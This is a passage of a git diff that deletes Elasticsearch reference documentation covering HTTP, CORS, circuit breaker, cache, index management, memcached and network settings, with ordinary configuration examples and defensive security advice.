-Maximum size of an HTTP request body. Defaults to `100mb`.
-
-`http.max_initial_line_length`::
-(<<static-cluster-setting,Static>>)
-Maximum size of an HTTP URL. Defaults to `4kb`.
-
-`http.max_header_size`::
-(<<static-cluster-setting,Static>>)
-Maximum size of allowed headers. Defaults to `8kb`.
-
-[[http-compression]]
-// tag::http-compression-tag[]
-`http.compression` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Support for compression when possible (with Accept-Encoding). If HTTPS is enabled, defaults to `false`. Otherwise, defaults to `true`.
-+
-Disabling compression for HTTPS mitigates potential security risks, such as a
-{wikipedia}/BREACH[BREACH attack]. To compress HTTPS traffic,
-you must explicitly set `http.compression` to `true`.
-// end::http-compression-tag[]
-
-`http.compression_level`::
-(<<static-cluster-setting,Static>>)
-Defines the compression level to use for HTTP responses. Valid values are in the range of 1 (minimum compression) and 9 (maximum compression). Defaults to `3`.
-
-[[http-cors-enabled]]
-// tag::http-cors-enabled-tag[]
-`http.cors.enabled` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Enable or disable cross-origin resource sharing, which determines whether a browser on another origin can execute requests against {es}. Set to `true` to enable {es} to process pre-flight
-{wikipedia}/Cross-origin_resource_sharing[CORS] requests.
-{es} will respond to those requests with the `Access-Control-Allow-Origin` header if the `Origin` sent in the request is permitted by the `http.cors.allow-origin` list. Set to `false` (the default) to make {es} ignore the `Origin` request header, effectively disabling CORS requests because {es} will never respond with the `Access-Control-Allow-Origin` response header.
-+
-NOTE: If the client does not send a pre-flight request with an `Origin` header or it does not check the response headers from the server to validate the
-`Access-Control-Allow-Origin` response header, then cross-origin security is
-compromised. If CORS is not enabled on {es}, the only way for the client to know is to send a pre-flight request and realize the required response headers are missing.
-
-// end::http-cors-enabled-tag[]
-
-[[http-cors-allow-origin]]
-// tag::http-cors-allow-origin-tag[]
-`http.cors.allow-origin` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Which origins to allow. If you prepend and append a forward slash (`/`) to the value, this will be treated as a regular expression, allowing you to support HTTP and HTTPs. For example, using `/https?:\/\/localhost(:[0-9]+)?/` would return the request header appropriately in both cases. Defaults to no origins allowed.
-+
-IMPORTANT: A wildcard (`*`) is a valid value but is considered a security risk, as your {es} instance is open to cross origin requests from *anywhere*.
-
-// end::http-cors-allow-origin-tag[]
-
-[[http-cors-max-age]]
-// tag::http-cors-max-age-tag[]
-`http.cors.max-age` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Browsers send a "preflight" OPTIONS-request to determine CORS settings. `max-age` defines how long the result should be cached for. Defaults to `1728000` (20 days).
-// end::http-cors-max-age-tag[]
-
-[[http-cors-allow-methods]]
-// tag::http-cors-allow-methods-tag[]
-`http.cors.allow-methods` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Which methods to allow. Defaults to `OPTIONS, HEAD, GET, POST, PUT, DELETE`.
-// end::http-cors-allow-methods-tag[]
-
-[[http-cors-allow-headers]]
-// tag::http-cors-allow-headers-tag[]
-`http.cors.allow-headers` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Which headers to allow. Defaults to `X-Requested-With, Content-Type, Content-Length`.
-// end::http-cors-allow-headers-tag[]
-
-[[http-cors-allow-credentials]]
-// tag::http-cors-allow-credentials-tag[]
-`http.cors.allow-credentials` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Whether the `Access-Control-Allow-Credentials` header should be returned. Defaults to `false`.
-+
-NOTE: This header is only returned when the setting is set to `true`.
-
-// end::http-cors-allow-credentials-tag[]
-
-`http.detailed_errors.enabled`::
-(<<static-cluster-setting,Static>>)
-If `true`, enables the output of detailed error messages and stack traces in the response output. Defaults to `true`.
-+
-If `false`, use the `error_trace` parameter to <<common-options-error-options,enable stack traces>> and return detailed error messages. Otherwise, only a simple message will be returned.
-
-`http.pipelining.max_events`::
-(<<static-cluster-setting,Static>>)
-The maximum number of events to be queued up in memory before an HTTP connection is closed, defaults to `10000`.
-
-`http.max_warning_header_count`::
-(<<static-cluster-setting,Static>>)
-The maximum number of warning headers in client HTTP responses. Defaults to `unbounded`.
-
-`http.max_warning_header_size`::
-(<<static-cluster-setting,Static>>)
-The maximum total size of warning headers in client HTTP responses. Defaults to `unbounded`.
-
-`http.tcp.no_delay`::
-(<<static-cluster-setting,Static>>)
-Enable or disable the {wikipedia}/Nagle%27s_algorithm[TCP no delay]
-setting. Defaults to `network.tcp.no_delay`.
-
-`http.tcp.keep_alive`::
-(<<static-cluster-setting,Static>>)
-Configures the `SO_KEEPALIVE` option for this socket, which
-determines whether it sends TCP keepalive probes.
-Defaults to `network.tcp.keep_alive`.
-
-`http.tcp.keep_idle`::
-(<<static-cluster-setting,Static>>) Configures the `TCP_KEEPIDLE` option for this socket, which
-determines the time in seconds that a connection must be idle before
-starting to send TCP keepalive probes. Defaults to `network.tcp.keep_idle`, which
-uses the system default. This value cannot exceed `300` seconds. Only applicable on
-Linux and macOS, and requires Java 11 or newer.
-
-`http.tcp.keep_interval`::
-(<<static-cluster-setting,Static>>) Configures the `TCP_KEEPINTVL` option for this socket,
-which determines the time in seconds between sending TCP keepalive probes.
-Defaults to `network.tcp.keep_interval`, which uses the system default.
-This value cannot exceed `300` seconds. Only applicable on Linux and macOS, and requires
-Java 11 or newer.
-
-`http.tcp.keep_count`::
-(<<static-cluster-setting,Static>>) Configures the `TCP_KEEPCNT` option for this socket, which
-determines the number of unacknowledged TCP keepalive probes that may be
-sent on a connection before it is dropped. Defaults to `network.tcp.keep_count`,
-which uses the system default. Only applicable on Linux and macOS, and
-requires Java 11 or newer.
-
-`http.tcp.reuse_address`::
-(<<static-cluster-setting,Static>>)
-Should an address be reused or not. Defaults to `network.tcp.reuse_address`.
-
-`http.tcp.send_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP send buffer (specified with <<size-units,size units>>).
-Defaults to `network.tcp.send_buffer_size`.
-
-`http.tcp.receive_buffer_size`::
-(<<static-cluster-setting,Static>>)
-The size of the TCP receive buffer (specified with <<size-units,size units>>).
-Defaults to `network.tcp.receive_buffer_size`.
-
-[http-rest-request-tracer]
-==== REST request tracer
-
-The HTTP layer has a dedicated tracer logger which, when activated, logs incoming requests. The log can be dynamically activated
-by setting the level of the `org.elasticsearch.http.HttpTracer` logger to `TRACE`:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-   "transient" : {
-      "logger.org.elasticsearch.http.HttpTracer" : "TRACE"
-   }
-}
---------------------------------------------------
-
-You can also control which uris will be traced, using a set of include and exclude wildcard patterns. By default every request will be
-traced.
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-   "transient" : {
-      "http.tracer.include" : "*",
-      "http.tracer.exclude" : ""
-   }
-}
---------------------------------------------------
diff --git a/docs/reference/modules/indices/circuit_breaker.asciidoc b/docs/reference/modules/indices/circuit_breaker.asciidoc
deleted file mode 100644
index 2fd929f85ce..00000000000
--- a/docs/reference/modules/indices/circuit_breaker.asciidoc
+++ /dev/null
@@ -1,131 +0,0 @@
-[[circuit-breaker]]
-=== Circuit breaker settings
-[[circuit-breaker-description]]
-// tag::circuit-breaker-description-tag[]
-{es} contains multiple circuit breakers used to prevent operations from causing an OutOfMemoryError. Each breaker specifies a limit for how much memory it can use. Additionally, there is a parent-level breaker that specifies the total amount of memory that can be used across all breakers.
-
-Except where noted otherwise, these settings can be dynamically updated on a
-live cluster with the <<cluster-update-settings,cluster-update-settings>> API.
-// end::circuit-breaker-description-tag[]
-
-[[parent-circuit-breaker]]
-[discrete]
-==== Parent circuit breaker
-
-The parent-level breaker can be configured with the following settings:
-
-`indices.breaker.total.use_real_memory`::
-    (<<static-cluster-setting,Static>>)
-    Determines whether the parent breaker should take real
-    memory usage into account (`true`) or only consider the amount that is
-    reserved by child circuit breakers (`false`). Defaults to `true`.
-
-[[indices-breaker-total-limit]]
-// tag::indices-breaker-total-limit-tag[]
-`indices.breaker.total.limit` {ess-icon}::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Starting limit for overall parent breaker. Defaults to 70% of JVM heap if
-    `indices.breaker.total.use_real_memory` is `false`. If `indices.breaker.total.use_real_memory`
-    is `true`, defaults to 95% of the JVM heap.
-// end::indices-breaker-total-limit-tag[]
-
-[[fielddata-circuit-breaker]]
-[discrete]
-==== Field data circuit breaker
-The field data circuit breaker estimates the heap memory required to load a
-field into the <<modules-fielddata,field data cache>>. If loading the field would
-cause the cache to exceed a predefined memory limit, the circuit breaker stops the
-operation and returns an error.
-
-[[fielddata-circuit-breaker-limit]]
-// tag::fielddata-circuit-breaker-limit-tag[]
-`indices.breaker.fielddata.limit` {ess-icon}::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Limit for fielddata breaker. Defaults to 40% of JVM heap.
-// end::fielddata-circuit-breaker-limit-tag[]
-
-[[fielddata-circuit-breaker-overhead]]
-// tag::fielddata-circuit-breaker-overhead-tag[]
-`indices.breaker.fielddata.overhead` {ess-icon}::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    A constant that all field data estimations are multiplied with to determine a
-    final estimation. Defaults to `1.03`.
-// end::fielddata-circuit-breaker-overhead-tag[]
-
-[[request-circuit-breaker]]
-[discrete]
-==== Request circuit breaker
-
-The request circuit breaker allows Elasticsearch to prevent per-request data
-structures (for example, memory used for calculating aggregations during a
-request) from exceeding a certain amount of memory.
-
-[[request-breaker-limit]]
-// tag::request-breaker-limit-tag[]
-`indices.breaker.request.limit` {ess-icon}::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Limit for request breaker, defaults to 60% of JVM heap.
-// end::request-breaker-limit-tag[]
-
-[[request-breaker-overhead]]
-// tag::request-breaker-overhead-tag[]
-`indices.breaker.request.overhead` {ess-icon}::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    A constant that all request estimations are multiplied with to determine a
-    final estimation. Defaults to `1`.
-// end::request-breaker-overhead-tag[]
-
-[[in-flight-circuit-breaker]]
-[discrete]
-==== In flight requests circuit breaker
-
-The in flight requests circuit breaker allows Elasticsearch to limit the memory usage of all
-currently active incoming requests on transport or HTTP level from exceeding a certain amount of
-memory on a node. The memory usage is based on the content length of the request itself. This
-circuit breaker also considers that memory is not only needed for representing the raw request but
-also as a structured object which is reflected by default overhead.
-
-`network.breaker.inflight_requests.limit`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Limit for in flight requests breaker, defaults to 100% of JVM heap. This means that it is bound
-    by the limit configured for the parent circuit breaker.
-
-`network.breaker.inflight_requests.overhead`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    A constant that all in flight requests estimations are multiplied with to determine a
-    final estimation. Defaults to 2.
-
-[[accounting-circuit-breaker]]
-[discrete]
-==== Accounting requests circuit breaker
-
-The accounting circuit breaker allows Elasticsearch to limit the memory
-usage of things held in memory that are not released when a request is
-completed. This includes things like the Lucene segment memory.
-
-`indices.breaker.accounting.limit`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Limit for accounting breaker, defaults to 100% of JVM heap. This means that it is bound
-    by the limit configured for the parent circuit breaker.
-
-`indices.breaker.accounting.overhead`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    A constant that all accounting estimations are multiplied with to determine a
-    final estimation. Defaults to 1
-
-[[script-compilation-circuit-breaker]]
-[discrete]
-==== Script compilation circuit breaker
-
-Slightly different than the previous memory-based circuit breaker, the script
-compilation circuit breaker limits the number of inline script compilations
-within a period of time.
-
-See the "prefer-parameters" section of the <<modules-scripting-using,scripting>>
-documentation for more information.
-
-`script.context.$CONTEXT.max_compilations_rate`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Limit for the number of unique dynamic scripts within a certain interval
-    that are allowed to be compiled for a given context. Defaults to `75/5m`,
-    meaning 75 every 5 minutes.
diff --git a/docs/reference/modules/indices/fielddata.asciidoc b/docs/reference/modules/indices/fielddata.asciidoc
deleted file mode 100644
index 1383bf74d6d..00000000000
--- a/docs/reference/modules/indices/fielddata.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[[modules-fielddata]]
-=== Field data cache settings
-
-The field data cache contains <<fielddata-mapping-param, field data>> and <<eager-global-ordinals, global ordinals>>,
-which are both used to support aggregations on certain field types.
-Since these are on-heap data structures, it is important to monitor the cache's use.
-
-[discrete]
-[[fielddata-sizing]]
-==== Cache size
-
-The entries in the cache are expensive to build, so the default behavior is
-to keep the cache loaded in memory. The default cache size is unlimited,
-causing the cache to grow until it reaches the limit set by the <<fielddata-circuit-breaker, field data circuit breaker>>. This behavior can be configured.
-
-If the cache size limit is set, the cache will begin clearing the least-recently-updated
-entries in the cache. This setting can automatically avoid the circuit breaker limit,
-at the cost of rebuilding the cache as needed.
-
-If the circuit breaker limit is reached, further requests that increase the cache
-size will be prevented. In this case you should manually <<indices-clearcache, clear the cache>>.
-
-`indices.fielddata.cache.size`::
-(<<static-cluster-setting,Static>>)
-The max size of the field data cache, eg `38%` of node heap space, or an
-absolute value, eg `12GB`. Defaults to unbounded. If you choose to set it,
-it should be smaller than <<fielddata-circuit-breaker>> limit.
-
-[discrete]
-[[fielddata-monitoring]]
-==== Monitoring field data
-
-You can monitor memory usage for field data as well as the field data circuit
-breaker using
-the <<cluster-nodes-stats,nodes stats API>> or the <<cat-fielddata,cat fielddata API>>.
diff --git a/docs/reference/modules/indices/index_management.asciidoc b/docs/reference/modules/indices/index_management.asciidoc
deleted file mode 100644
index aba4833af7f..00000000000
--- a/docs/reference/modules/indices/index_management.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[index-management-settings]]
-=== Index management settings
-
-You can use the following cluster settings to enable or disable index management
-features.
-
-[[auto-create-index]]
-// tag::auto-create-index-tag[]
-`action.auto_create_index` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-<<index-creation,Automatically create an index>> if it doesn't already exist and apply any configured index templates. Defaults to `true`.
-// end::auto-create-index-tag[]
-
-[[action-destructive-requires-name]]
-// tag::action-destructive-requires-name-tag[]
-`action.destructive_requires_name` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-When set to `true`, you must specify the index name to <<indices-delete-index,delete an index>>. It is not possible to delete all indices with `_all` or use wildcards.
-// end::action-destructive-requires-name-tag[]
-
-[[cluster-indices-close-enable]]
-// tag::cluster-indices-close-enable-tag[]
-`cluster.indices.close.enable` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-Enables <<indices-open-close,opening of closed indices>> in {es}. You might enable this setting temporarily to change the analyzer configuration for an existing index. We strongly recommend leaving this set to `false` (the default) otherwise.
-+
-IMPORTANT: Closed indices are a data loss risk because they are not included when you make cluster configuration changes, such as scaling to a different capacity, failover, and many other operations. Additionally, closed indices can lead to inaccurate disk space counts.
-
-[[reindex-remote-whitelist]]
-// tag::reindex-remote-whitelist[]
-`reindex.remote.whitelist` {ess-icon}::
-(<<static-cluster-setting,Static>>)
-Specifies the hosts that can be <<reindex-from-remote,reindexed from remotely>>. Expects a YAML array of `host:port` strings. Consists of a comma-delimited list of `host:port` entries. Defaults to `["\*.io:*", "\*.com:*"]`.
-// end::reindex-remote-whitelist[]
diff --git a/docs/reference/modules/indices/indexing_buffer.asciidoc b/docs/reference/modules/indices/indexing_buffer.asciidoc
deleted file mode 100644
index 0269221f8a3..00000000000
--- a/docs/reference/modules/indices/indexing_buffer.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-[[indexing-buffer]]
-=== Indexing buffer settings
-
-The indexing buffer is used to store newly indexed documents.  When it fills
-up, the documents in the buffer are written to a segment on disk. It is divided
-between all shards on the node.
-
-The following settings are _static_ and must be configured on every data node
-in the cluster:
-
-`indices.memory.index_buffer_size`::
-(<<static-cluster-setting,Static>>)
-Accepts either a percentage or a byte size value. It defaults to `10%`,
-meaning that `10%` of the total heap allocated to a node will be used as the
-indexing buffer size shared across all shards.
-
-`indices.memory.min_index_buffer_size`::
-(<<static-cluster-setting,Static>>)
-If the `index_buffer_size` is specified as a percentage, then this
-setting can be used to specify an absolute minimum.  Defaults to `48mb`.
-
-`indices.memory.max_index_buffer_size`::
-(<<static-cluster-setting,Static>>)
-If the `index_buffer_size` is specified as a percentage, then this
-setting can be used to specify an absolute maximum.  Defaults to unbounded.
diff --git a/docs/reference/modules/indices/query_cache.asciidoc b/docs/reference/modules/indices/query_cache.asciidoc
deleted file mode 100644
index 59c7e8c6ce3..00000000000
--- a/docs/reference/modules/indices/query_cache.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
-[[query-cache]]
-=== Node query cache settings
-
-The results of queries used in the filter context are cached in the node query 
-cache for fast lookup. There is one queries cache per node that is shared by all 
-shards. The cache uses an LRU eviction policy: when the cache is full, the least 
-recently used query results are evicted to make way for new data. You cannot 
-inspect the contents of the query cache.
-
-Term queries and queries used outside of a filter context are not eligible for 
-caching.
-
-By default, the cache holds a maximum of 10000 queries in up to 10% of the total 
-heap space. To determine if a query is eligible for caching, {es} maintains a 
-query history to track occurrences.
-
-Caching is done on a per segment basis if a segment contains at least 10000 
-documents and the segment has at least 3% of the total documents of a shard. 
-Because caching is per segment, merging segments can invalidate cached queries.
-
-The following setting is _static_ and must be configured on every data node in
-the cluster:
-
-`indices.queries.cache.size`::
-(<<static-cluster-setting,Static>>)
-Controls the memory size for the filter cache. Accepts
-either a percentage value, like `5%`, or an exact value, like `512mb`. Defaults to `10%`.
-
-[[query-cache-index-settings]]
-==== Query cache index settings
-
-The following setting is an _index_ setting that can be configured on a 
-per-index basis. Can only be set at index creation time or on a
-<<indices-open-close,closed index>>:
-
-`index.queries.cache.enabled`::
-(<<index-modules-settings,Static>>)
-Controls whether to enable query caching. Accepts `true` (default) or
-`false`.
diff --git a/docs/reference/modules/indices/recovery.asciidoc b/docs/reference/modules/indices/recovery.asciidoc
deleted file mode 100644
index b598a9b5707..00000000000
--- a/docs/reference/modules/indices/recovery.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[recovery]]
-=== Index recovery settings
-
-Peer recovery syncs data from a primary shard to a new or existing shard copy.
-
-Peer recovery automatically occurs when {es}:
-
-* Recreates a shard lost during node failure
-* Relocates a shard to another node due to a cluster rebalance or changes to the
-<<modules-cluster, shard allocation settings>>
-
-You can view a list of in-progress and completed recoveries using the
-<<cat-recovery, cat recovery API>>.
-
-[discrete]
-==== Recovery settings
-
-`indices.recovery.max_bytes_per_sec`::
-(<<cluster-update-settings,Dynamic>>) Limits total inbound and outbound
-recovery traffic for each node. Applies to both peer recoveries as well
-as snapshot recoveries (i.e., restores from a snapshot). Defaults to `40mb`.
-+
-This limit applies to each node separately. If multiple nodes in a cluster
-perform recoveries at the same time, the cluster's total recovery traffic may
-exceed this limit.
-+
-If this limit is too high, ongoing recoveries may consume an excess of bandwidth
-and other resources, which can destabilize the cluster.
-+
-This is a dynamic setting, which means you can set it in each node's
-`elasticsearch.yml` config file and you can update it dynamically using the
-<<cluster-update-settings,cluster update settings API>>. If you set it
-dynamically then the same limit applies on every node in the cluster. If you do
-not set it dynamically then you can set a different limit on each node, which is
-useful if some of your nodes have better bandwidth than others. For example, if
-you are using <<overview-index-lifecycle-management,Index Lifecycle Management>>
-then you may be able to give your hot nodes a higher recovery bandwidth limit
-than your warm nodes.
-
-[discrete]
-==== Expert peer recovery settings
-You can use the following _expert_ setting to manage resources for peer
-recoveries.
-
-`indices.recovery.max_concurrent_file_chunks`::
-(<<cluster-update-settings,Dynamic>>, Expert) Number of file chunk requests
-sent in parallel for each recovery. Defaults to `2`.
-+
-You can increase the value of this setting when the recovery of a single shard
-is not reaching the traffic limit set by `indices.recovery.max_bytes_per_sec`.
-
-`indices.recovery.max_concurrent_operations`::
-(<<cluster-update-settings,Dynamic>>, Expert) Number of operations sent
-in parallel for each recovery. Defaults to `1`.
-+
-Concurrently replaying operations during recovery can be very resource-intensive
-and may interfere with indexing, search, and other activities in your cluster.
-Do not increase this setting without carefully verifying that your cluster has
-the resources available to handle the extra load that will result.
-
diff --git a/docs/reference/modules/indices/request_cache.asciidoc b/docs/reference/modules/indices/request_cache.asciidoc
deleted file mode 100644
index 6208f09bf08..00000000000
--- a/docs/reference/modules/indices/request_cache.asciidoc
+++ /dev/null
@@ -1,148 +0,0 @@
-[[shard-request-cache]]
-=== Shard request cache settings
-
-When a search request is run against an index or against many indices, each
-involved shard executes the search locally and returns its local results to
-the _coordinating node_, which combines these shard-level results into a
-``global'' result set.
-
-The shard-level request cache module caches the local results on each shard.
-This allows frequently used (and potentially heavy) search requests to return
-results almost instantly. The requests cache is a very good fit for the logging
-use case, where only the most recent index is being actively updated --
-results from older indices will be served directly from the cache.
-
-[IMPORTANT]
-===================================
-
-By default, the requests cache will only cache the results of search requests
-where `size=0`, so it will not cache `hits`,
-but it will cache `hits.total`,  <<search-aggregations,aggregations>>, and
-<<search-suggesters,suggestions>>.
-
-Most queries that use `now` (see <<date-math>>) cannot be cached.
-
-Scripted queries that use the API calls which are non-deterministic, such as
-`Math.random()` or `new Date()` are not cached.
-===================================
-
-[discrete]
-==== Cache invalidation
-
-The cache is smart -- it keeps the same _near real-time_ promise as uncached
-search.
-
-Cached results are invalidated automatically whenever the shard refreshes, but
-only if the data in the shard has actually changed.  In other words, you will
-always get the same results from the cache as you would for an uncached search
-request.
-
-The longer the refresh interval, the longer that cached entries will remain
-valid. If the cache is full, the least recently used cache keys will be
-evicted.
-
-The cache can be expired manually with the <<indices-clearcache,`clear-cache` API>>:
-
-[source,console]
-------------------------
-POST /my-index-000001,my-index-000002/_cache/clear?request=true
-------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-[discrete]
-==== Enabling and disabling caching
-
-The cache is enabled by default, but can be disabled when creating a new
-index as follows:
-
-[source,console]
------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index.requests.cache.enable": false
-  }
-}
------------------------------
-
-It can also be enabled or disabled dynamically on an existing index with the
-<<indices-update-settings,`update-settings`>> API:
-
-[source,console]
------------------------------
-PUT /my-index-000001/_settings
-{ "index.requests.cache.enable": true }
------------------------------
-// TEST[continued]
-
-
-[discrete]
-==== Enabling and disabling caching per request
-
-The `request_cache` query-string parameter can be used to enable or disable
-caching on a *per-request* basis.  If set, it overrides the index-level setting:
-
-[source,console]
------------------------------
-GET /my-index-000001/_search?request_cache=true
-{
-  "size": 0,
-  "aggs": {
-    "popular_colors": {
-      "terms": {
-        "field": "colors"
-      }
-    }
-  }
-}
------------------------------
-// TEST[continued]
-
-Requests where `size` is greater than 0 will not be cached even if the request cache is
-enabled in the index settings. To cache these requests you will need to use the
-query-string parameter detailed here.
-
-[discrete]
-==== Cache key
-
-The whole JSON body is used as the cache key.  This means that if the JSON
-changes -- for instance if keys are output in a different order -- then the
-cache key will not be recognised.
-
-TIP: Most JSON libraries support a _canonical_ mode which ensures that JSON
-keys are always emitted in the same order. This canonical mode can be used in
-the application to ensure that a request is always serialized in the same way.
-
-[discrete]
-==== Cache settings
-
-The cache is managed at the node level, and has a default maximum size of `1%`
-of the heap.  This can be changed in the `config/elasticsearch.yml` file with:
-
-[source,yaml]
---------------------------------
-indices.requests.cache.size: 2%
---------------------------------
-
-Also, you can use the +indices.requests.cache.expire+ setting to specify a TTL
-for cached results, but there should be no reason to do so.  Remember that
-stale results are automatically invalidated when the index is refreshed. This
-setting is provided for completeness' sake only.
-
-[discrete]
-==== Monitoring cache usage
-
-The size of the cache (in bytes) and the number of evictions can be viewed
-by index, with the <<indices-stats,`indices-stats`>> API:
-
-[source,console]
-------------------------
-GET /_stats/request_cache?human
-------------------------
-
-or by node with the <<cluster-nodes-stats,`nodes-stats`>> API:
-
-[source,console]
-------------------------
-GET /_nodes/stats/indices/request_cache?human
-------------------------
diff --git a/docs/reference/modules/indices/search-settings.asciidoc b/docs/reference/modules/indices/search-settings.asciidoc
deleted file mode 100644
index e35dc358cdf..00000000000
--- a/docs/reference/modules/indices/search-settings.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[[search-settings]]
-=== Search settings
-
-The following expert settings can be set to manage global search and aggregation
-limits.
-
-[[indices-query-bool-max-clause-count]]
-`indices.query.bool.max_clause_count`::
-(<<static-cluster-setting,Static>>, integer)
-Maximum number of clauses a Lucene BooleanQuery can contain. Defaults to `1024`.
-+
-This setting limits the number of clauses a Lucene BooleanQuery can have. The
-default of 1024 is quite high and should normally be sufficient. This limit does
-not only affect Elasticsearchs `bool` query, but many other queries are rewritten to Lucene's
-BooleanQuery internally. The limit is in place to prevent searches from becoming too large
-and taking up too much CPU and memory. In case you're considering increasing this setting,
-make sure you've exhausted all other options to avoid having to do this. Higher values can lead 
-to performance degradations and memory issues, especially in clusters with a high load or 
-few resources.
-
-[[search-settings-max-buckets]]
-`search.max_buckets`::
-(<<cluster-update-settings,Dynamic>>, integer)
-Maximum number of <<search-aggregations-bucket,aggregation buckets>> allowed in
-a single response. Defaults to 65,535.
-+
-Requests that attempt to return more than this limit will return an error.
\ No newline at end of file
diff --git a/docs/reference/modules/memcached.asciidoc b/docs/reference/modules/memcached.asciidoc
deleted file mode 100644
index f5a6c5e1716..00000000000
--- a/docs/reference/modules/memcached.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[modules-memcached]]
-== memcached
-
-The memcached module allows to expose *Elasticsearch*
-APIs over the memcached protocol (as closely
-as possible).
-
-It is provided as a plugin called `transport-memcached` and installing
-is explained
-https://github.com/elastic/elasticsearch-transport-memcached[here]
-. Another option is to download the memcached plugin and placing it
-under the `plugins` directory.
-
-The memcached protocol supports both the binary and the text protocol,
-automatically detecting the correct one to use.
-
-[discrete]
-=== Mapping REST to Memcached Protocol
-
-Memcached commands are mapped to REST and handled by the same generic
-REST layer in Elasticsearch. Here is a list of the memcached commands
-supported:
-
-[discrete]
-==== GET
-
-The memcached `GET` command maps to a REST `GET`. The key used is the
-URI (with parameters). The main downside is the fact that the memcached
-`GET` does not allow body in the request (and `SET` does not allow to
-return a result...). For this reason, most REST APIs (like search) allow
-to accept the "source" as a URI parameter as well.
-
-[discrete]
-==== SET
-
-The memcached `SET` command maps to a REST `POST`. The key used is the
-URI (with parameters), and the body maps to the REST body.
-
-[discrete]
-==== DELETE
-
-The memcached `DELETE` command maps to a REST `DELETE`. The key used is
-the URI (with parameters).
-
-[discrete]
-==== QUIT
-
-The memcached `QUIT` command is supported and disconnects the client.
-
-[discrete]
-=== Settings
-
-The following are the settings the can be configured for memcached:
-
-[cols="<,<",options="header",]
-|===============================================================
-|Setting |Description
-|`memcached.port` |A bind port range. Defaults to `11211-11311`.
-|===============================================================
-
-It also uses the common
-<<modules-network,network settings>>.
-
-[discrete]
-=== Disable memcached
-
-The memcached module can be completely disabled and not started using by
-setting `memcached.enabled` to `false`. By default it is enabled once it
-is detected as a plugin.
diff --git a/docs/reference/modules/network.asciidoc b/docs/reference/modules/network.asciidoc
deleted file mode 100644
index 9f63f16eaf4..00000000000
--- a/docs/reference/modules/network.asciidoc
+++ /dev/null
@@ -1,198 +0,0 @@
-[[modules-network]]
-=== Network settings
-
-Elasticsearch binds to localhost only by default.  This is sufficient for you
-to run a local development server (or even a development cluster, if you start
-multiple nodes on the same machine), but you will need to configure some
-<<common-network-settings,basic network settings>> in order to run a real
-production cluster across multiple servers.
-
-[WARNING]
-.Be careful with the network configuration!
-=============================
-Never expose an unprotected node to the public internet.
-=============================
-
-[[common-network-settings]]
-==== Commonly used network settings
-
-`network.host`::
-(<<static-cluster-setting,Static>>)
-The node will bind to this hostname or IP address and _publish_ (advertise)
-this host to other nodes in the cluster. Accepts an IP address, hostname, a
-<<network-interface-values,special value>>, or an array of any combination of
-these. Note that any values containing a `:` (e.g., an IPv6 address or
-containing one of the <<network-interface-values,special values>>) must be
-quoted because `:` is a special character in YAML. `0.0.0.0` is an acceptable
-IP address and will bind to all network interfaces. The value `0` has the
-same effect as the value `0.0.0.0`.
-+
-Defaults to `_local_`.
-
-`discovery.seed_hosts`::
-(<<static-cluster-setting,Static>>)
-In order to join a cluster, a node needs to know the hostname or IP address of
-at least some of the other nodes in the cluster.  This setting provides the
-initial list of addresses this node will try to contact. Accepts IP addresses
-or hostnames. If a hostname lookup resolves to multiple IP addresses then each
-IP address will be used for discovery.
-{wikipedia}/Round-robin_DNS[Round robin DNS] -- returning a
-different IP from a list on each lookup -- can be used for discovery; non-
-existent IP addresses will throw exceptions and cause another DNS lookup on the
-next round of pinging (subject to <<networkaddress-cache-ttl,JVM DNS
-caching>>).
-+
-Defaults to `["127.0.0.1", "[::1]"]`.
-
-`http.port`::
-(<<static-cluster-setting,Static>>)
-Port to bind to for incoming HTTP requests. Accepts a single value or a range.
-If a range is specified, the node will bind to the first available port in the
-range.
-+
-Defaults to `9200-9300`.
-
-`transport.port`::
-(<<static-cluster-setting,Static>>)
-Port to bind for communication between nodes. Accepts a single value or a
-range. If a range is specified, the node will bind to the first available port
-in the range.
-+
-Defaults to `9300-9400`.
-
-[[network-interface-values]]
-==== Special values for `network.host`
-
-The following special values may be passed to `network.host`:
-
-`_local_`::
-  Any loopback addresses on the system, for example `127.0.0.1`.
-
-`_site_`::
-  Any site-local addresses on the system, for example `192.168.0.1`.
-
-`_global_`::
-  Any globally-scoped addresses on the system, for example `8.8.8.8`.
-
-`_[networkInterface]_`::
-  Use the addresses of the network interface called `[networkInterface]`. For
-  example if you wish to use the addresses of an interface called `en0` then
-  set `network.host: _en0_`.
-
-[[network-interface-values-ipv4-vs-ipv6]]
-===== IPv4 vs IPv6
-
-These special values will work over both IPv4 and IPv6 by default, but you can
-also limit this with the use of `:ipv4` of `:ipv6` specifiers. For example,
-`_en0:ipv4_` would only bind to the IPv4 addresses of interface `en0`.
-
-[TIP]
-.Discovery in the Cloud
-================================
-
-More special settings are available when running in the Cloud with either the
